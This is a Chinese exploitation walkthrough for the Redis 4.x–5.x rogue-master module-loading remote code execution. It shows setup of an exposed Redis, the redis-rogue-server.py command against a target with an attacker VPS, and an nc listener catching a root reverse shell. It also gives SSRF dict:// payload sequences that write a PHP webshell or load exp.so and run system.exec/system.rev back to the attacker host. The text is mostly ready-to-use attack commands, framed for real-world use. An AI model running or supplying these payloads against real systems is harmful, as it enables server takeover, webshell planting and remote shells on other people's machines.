一、环境搭建:
wget http://download.redis.io/releases/redis-5.0.0.tar.gz tar -xvzf redis-5.0.0.tar.gz cd redis-5.0.0 make
漏洞描述:
在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。利用范围:Redis 4.x-Redis 5.x
修改redis.conf:
protected-mode yes 改为no #关闭redis保护模式bind 127.0.0.1 改为0.0.0.0 #服务器任意网卡地址都可访问redis
启动redis:
cd src./redis-server ../redis.conf #加载指定配置
二、漏洞复现:
1、执行rce脚本:
python3 redis-rogue-server.py --rhost=<target ip> --lhost=<vps ip> --exp=exp.so
根据提示输入内容,然后等待反弹
2、vps上使用NC开启监听:
nc -lvp 6666
成功拿到反弹shell,并且权限为root
实战中大多配合SSRF漏洞使用,可配合dict、Gopher等协议操作redis,构造payload从而利用,举个dict的例子
①、写webshell:
1、连接远程主服务器:?url=dict://127.0.0.1:6379/slaveof:vps的ip:端口 2、设置保存路径:?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/ 3、设置保存文件名:?url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php 4、保存设置?url=dict://127.0.0.1:6379/save
②、直接RCE:
执行脚本:
python3 redis-rogue-server.py --rhost=VPS的IP --rport=任意端口 --lhost=VPS的IP --lport=任意端口
nc执行:
nc -lvp rport的端口
这里注意细节:在漏洞点每执行一句payload,在nc会监听到脚本做的动作,配合每次执行一次payload按一下回车,切记不要太激动,等脚本有响应了再按...
在有ssrf漏洞的点执行:
1、连接远程主服务器:?url=dict://127.0.0.1:6379/slaveof:vps的ip:端口 2、设置保存文件名:?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so 3、载入exp.so:?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so 4、断开主从:?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE 5、恢复原始文件名:?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb 6、执行命令:?url=dict://127.0.0.1:6379/system.exec:'命令' 7、反弹shell执行:?url=dict://127.0.0.1:6379/system.rev:vps的ip:反弹的端口
然后就会收到反弹的shell,本文只是抛砖引玉,更多姿势根据实际情况进行变形、利用,如有错误,欢迎指出,可在后台留言联系作者。点击阅读原文,获取更多骚思路